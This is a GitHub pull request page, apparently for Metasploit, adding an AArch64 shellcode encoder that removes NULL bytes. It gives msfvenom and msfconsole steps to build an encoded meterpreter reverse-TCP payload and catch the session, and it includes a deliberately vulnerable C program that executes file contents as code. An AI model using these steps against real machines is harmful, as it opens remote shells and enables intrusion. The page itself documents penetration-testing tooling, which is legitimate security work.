Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add nonnull encoder aarch64 #19708

Open
wants to merge 3 commits into
base: master
Choose a base branch
from

Conversation

A5t4t1ne
Copy link

@A5t4t1ne A5t4t1ne commented Dec 9, 2024

This encoder is capable of encoding AArch64 shell code into output that is guaranteed to contain no NULL bytes. While the encoded part of the shell code consists entirely of uppercase English characters, the decoder logic includes some non-printable characters (but no NULL bytes).

The decoding is in-place, so as long as the stack space where the payload is placed on the target machine is writable and executable, the decoding and execution of the shell code should work fine.

Verification

The following is an example of how to achieve a meterpreter session without a specific exploit. The vulnerable application in this example reads a string from a file (here a file called payload) and executes it as if it were machine instructions. The source code is shown below and was compiled with gcc -o vuln_app vuln_app.c.

On the attacker machine:

  1. msfvenom -p linux/aarch64/meterpreter/reverse_tcp LHOST=192.168.1.8 LPORT=4444 -e aarch64/nonnull -o payload
  2. move payload to target machine
  3. Start msfconsole
  4. use exploit/multi/handler
  5. set LHOST 0.0.0.0
  6. set LPORT 4444
  7. set payload linux/aarch64/meterpreter/reverse_tcp
  8. set ExitOnSession false
  9. exploit -j

On the target AArch64 machine (for source code of example vulnerable app see below):
10. execute ./vuln_app

Options

none

Scenario

msf6 exploit(multi/handler) > exploit -j
[*] Started reverse TCP handler on 0.0.0.0:4444 
[*] Transmitting intermediate midstager...(256 bytes)
[*] Sending stage (953388 bytes) to 192.168.1.8
[*] Meterpreter session 1 opened (192.168.1.8:4444 -> 192.168.1.8:46392) at 2024-12-07 13:43:44 +0100

Of course everything after Started reverse TCP handler will show up after the payload was executed on the target system.

Limitation

Currently the maximum payload size is 4126 Bytes

Example vulnerable application

vuln_app.c:

#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>

char *PAYLOAD = "";


int read_payload(char* fname){
    FILE *file = fopen(fname, "r");

    if (file == NULL) {
        perror("Error opening file");
        return 1;
    }

    long size;
    
    fseek(file, 0, SEEK_END);
    size = ftell(file) + 1;
    fseek(file, 0, SEEK_SET);

    PAYLOAD = malloc(sizeof(char) * (size + 2));
    
    
    if (fgets(PAYLOAD, size, file) != NULL) {
        printf("payload:\n%s\n", PAYLOAD);
        printf("length: %d\n", strlen(PAYLOAD));
        fflush(stdin);
    }

    PAYLOAD = (unsigned char*) PAYLOAD;

    fclose(file);

}


int main(int argc, char *argv[]) {
    read_payload("payload");

    mprotect((void*)((intptr_t)PAYLOAD & ~0xFFF), strlen(PAYLOAD), PROT_READ|PROT_WRITE|PROT_EXEC);
    int (*exeshell)() = (int (*)()) PAYLOAD;
    (int)(*exeshell)();

    return 0;
}
  • compiled with gcc -o vuln_app vuln_app.c on target machine. GCC version: 12.2.0
  • execute with ./vuln_app

def encode_block(state, buf)
enc_pl = '_' * buf.length * 2 # encoding nibbles to chars -> length will be doubled

for i in 0...buf.length do
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It's more "ruby like" to use something like each_with_index do |i, c| instead of using a classic for loop

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Ok, I fixed that.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants